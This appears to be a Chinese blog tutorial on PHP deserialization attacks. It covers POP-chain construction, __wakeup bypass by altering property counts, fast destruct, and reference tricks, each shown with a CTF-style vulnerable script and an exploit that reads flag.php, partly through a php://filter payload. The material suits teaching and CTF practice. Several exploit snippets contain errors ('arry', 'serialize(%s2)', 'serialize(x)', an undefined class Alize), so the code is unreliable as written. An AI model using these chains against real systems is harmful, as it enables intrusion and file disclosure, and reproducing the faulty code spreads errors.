php反序列化

一、POP链

1.寻找POP链思路:

  • 寻找起点,也就是启动反序列化的地方------>unserialize函数

  • 寻找终点,反序列化想要执行的函数(造成危害的地方),重点找魔术方法

  • 找链接起点和终点的方法,将起点和终点连接起来(从终点往前推,什么可以触发终点),一层一层研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方法

  • 根据我们要控制的属性,构造序列化数据,发起攻击

例题:

php 复制代码
<?php
error_reporting(0);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}
class Saw{
    public $fearless;
    public $gun;
    public function __construct($file='index.php'){
        $this->fearless = $file;
        echo $this->fearless . ' You are in my range!'."<br>";
    }
    public function __toString(){
        $this->gun['gun']->fearless;
        return "Saw";
    }
    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        }
}
}
class Petal{
    public $seed;
    public function __construct(){
        $this->seed = array();
    }
    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}
if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else
{
    $Saw=new Saw('index.php');
    $Saw->_pain();
}
​
复制代码

分析:

  • 起点: unserialize($_GET['ozo']);参数可控

  • 终点:fun()函数

  • 连接起点终点,触发fun(),首先要触发invoke() ,触发invoke就要将对象当成函数调用,那么只有get(),触发get那么就要访问一个它不存在的属性,那么就可以确定到toString,让gun['gun']=Petal,那么触发toString,就确定到了wakeup,触发wakeup,就要用到unserialize($_GET['ozo']),这样起点和终点就连接起来了。

    复制代码
    unserialize($_GET['ozo'])
    Saw::__wakeup
    Saw::__toString,$this->gun['gun']=Petal
    Petal::__get,$Nourishment = $this->seed=Vox
    Vox::__invoke
    Vox::fun
  • 构造利用链

    复制代码
    $v=new Vox();
    $p=new Petal();
    $p->seed=$v;触发Vox
    $s=new Saw();
    $s->gun=arry('gun'=>$p);触发get
    $s2=new Saw();
    $s2->fearless=$s;触发toString
    echo urlencode(serialize(%s2));触发wakeup
    ​

    最后我们触发了fun(),这里是文件包含,如果直接传递我们的构造的反序列化数据则会执行flag.php,所以我们要使用php://filter伪协议来查看文件

    protected $headset='php://filter/convert.base64-encode/resource=flag.php';

  • exp

php 复制代码
<?php
error_reporting(0);
class Vox{
    protected $headset='php://filter/convert.base64-encode/resource=flag.php';
​
}
class Saw{
    public $fearless;
    public $gun;
}
class Petal{
    public $seed;
}
$v=new Vox();
$p=new Petal();
$p->seed=$v;触发Vox
$s=new Saw();
$s->gun=arry('gun'=>$p);
$s2=new Saw();
$s2->fearless=$s;
echo urlencode(serialize(%s2));

二、 畸形序列化字符串

1.认识畸形序列化字符串

畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

应用领域:

  • 绕过 __wakeup()

  • 快速析构(fast destruct):绕过过滤函数,提前执行 __destruct

2.绕过__wakeup

由于使用unserialize()函数后会立即触发 wakeup ,为了绕过 wakeup 中的安全机制,可以用修改属性数量的方式绕过 __wakeup 方法。受影响版本:

php5.0.0 ~ php5.6.25

php7.0.0 ~ php7.0.10

绕过方法:

  • 反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:

    复制代码
    //标准序列化数据
    O:3:"BUU":2:{s:7:"correct";N;s:5:"input";R:2;}
    //修改为:
    O:3:"BUU":3:{s:7:"correct";N;s:5:"input";R:2;}
  • 增加真实属性的个数,比如:

    复制代码
    原始序列化数据
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
    增加真实属性的个数
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
    或者:
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";s:1:"n":N;}}

php 复制代码
<?php
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}   
echo serialize(new dk)
?>

destruct魔术方法会自动执行,在程序执行结束时会销毁对象,触发destruct

触发wakeup

php 复制代码
<?php
​
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}
$a = 'O:2:"dk":1:{s:4:"name";N;}';
unserialize($a);
?>

使用使用unserialize时触发wakeup

绕过wakeup

php 复制代码
<?php
error_reporting(0);
class dk{
    public $name;
    function __wakeup(){
        echo "wakeup\n";
    }
    function __destruct(){
        echo "destruct\n";
    }
    function test(){
        echo "test\n";
    }
}
$a = 'O:2:"dk":2:{s:4:"name";N;}';
unserialize($a);
?>

更改属性数量达到饶过wakeup效果

3.快速析构

快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法( destruct() )。应用场景:某些题目需要利用 destruct 才能获取flag,但是 destruct 是在对象被销毁时才触发(执行顺序太靠后), destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发destruct 方法。

畸形字符串的构造

  • 改掉属性的个数

  • 删掉结尾的 }

例题

php 复制代码
<?php
class DemoX{
    protected $user;
    protected $sex;
    function __construct(){
        $this->user = "guest";
        $this->sex = "male";
    }
    function __wakeup(){
        $this->user = "Guest";
        $this->sex = "female";
    }
    function __toString(){
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
    }
    function __destruct()
    {
        echo $this;
    }
}
class Demo2{
    private $fffl4g;
    function __construct($file)
    {
        $this->fffl4g = $file;
    }
    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}
if(!isset($_GET['poc'])){
    highlight_file("index.php");
}
else{
    $user = unserialize($_GET['poc']);
}

解题步骤:

  • 起点:user = unserialize(_GET['poc']);

  • 终点:Demo2->function __toString(){}

  • 连接起点终点

复制代码
$user = unserialize($_GET['poc'])
//绕过__wakeup,改变序列化数据属性数量
DemoX::__toString()
Demo2::__toString()
  • 构造利用链
复制代码
$x = new DemoX();
$x = serialize(x);//用这个正常的和下面url编码后的对比找出属性个数,进行更改绕过wakeup
echo $x. "\n";
echo urlencode($x);
  • exp
php 复制代码
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
    $this->user = new Demo2;
    $this->sex = "xxx";
}
}
class Demo2{
    private $fffl4g="flag.php";
}
$x = new DemoX();
$x = serialize(x);
echo $x. "\n";
echo urlencode($x);

三、指针问题

1.指针

用 & 符号可以进行指针引用,类似于C语言中的指针。

例如:a=\&b;

例题

php 复制代码
<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}
​
class Flag{
    public $f;
    public $t1;
    public $t2;
​
    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }
​
    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}
$p = $_GET['P'];
if (isset($p)) {
	$p = unserialize($p);
} else {
	show_source(__FILE__);
	echo "NONONO";
}
​
?>

exp

php 复制代码
<?php
class Seri{
    public $alize;
  
}
​
class Flag{
    public $f;
    public $t1;
    public $t2;
​
   
}
​
?>
$f=new Alize;
$f->f='flag.php';
$f->t1=&$f->t2;//运用指针触发
$s=new Seri;
$s->alize=$f;
echo(urlencode(serialize($s)));
相关推荐
dancing99916 分钟前
Android Studio中Gradle 7.0上下项目配置及镜像修改
android·ide·android studio
EQ-雪梨蛋花汤1 小时前
【Part 2安卓原生360°VR播放器开发实战】第四节|安卓VR播放器性能优化与设备适配
android·性能优化·vr
每次的天空2 小时前
Android学习总结之kotlin篇(二)
android·学习·kotlin
刘洋浪子2 小时前
Android Studio中Gradle中Task列表显示不全解决方案
android·ide·android studio
橙子199110162 小时前
Kotlin 中 infix 关键字的原理和使用场景
android·开发语言·kotlin
后端码匠8 小时前
MySQL 8.0安装(压缩包方式)
android·mysql·adb
梓仁沐白10 小时前
Android清单文件
android
董可伦12 小时前
Dinky 安装部署并配置提交 Flink Yarn 任务
android·adb·flink
每次的天空13 小时前
Android学习总结之Glide自定义三级缓存(面试篇)
android·学习·glide
恋猫de小郭13 小时前
如何查看项目是否支持最新 Android 16K Page Size 一文汇总
android·开发语言·javascript·kotlin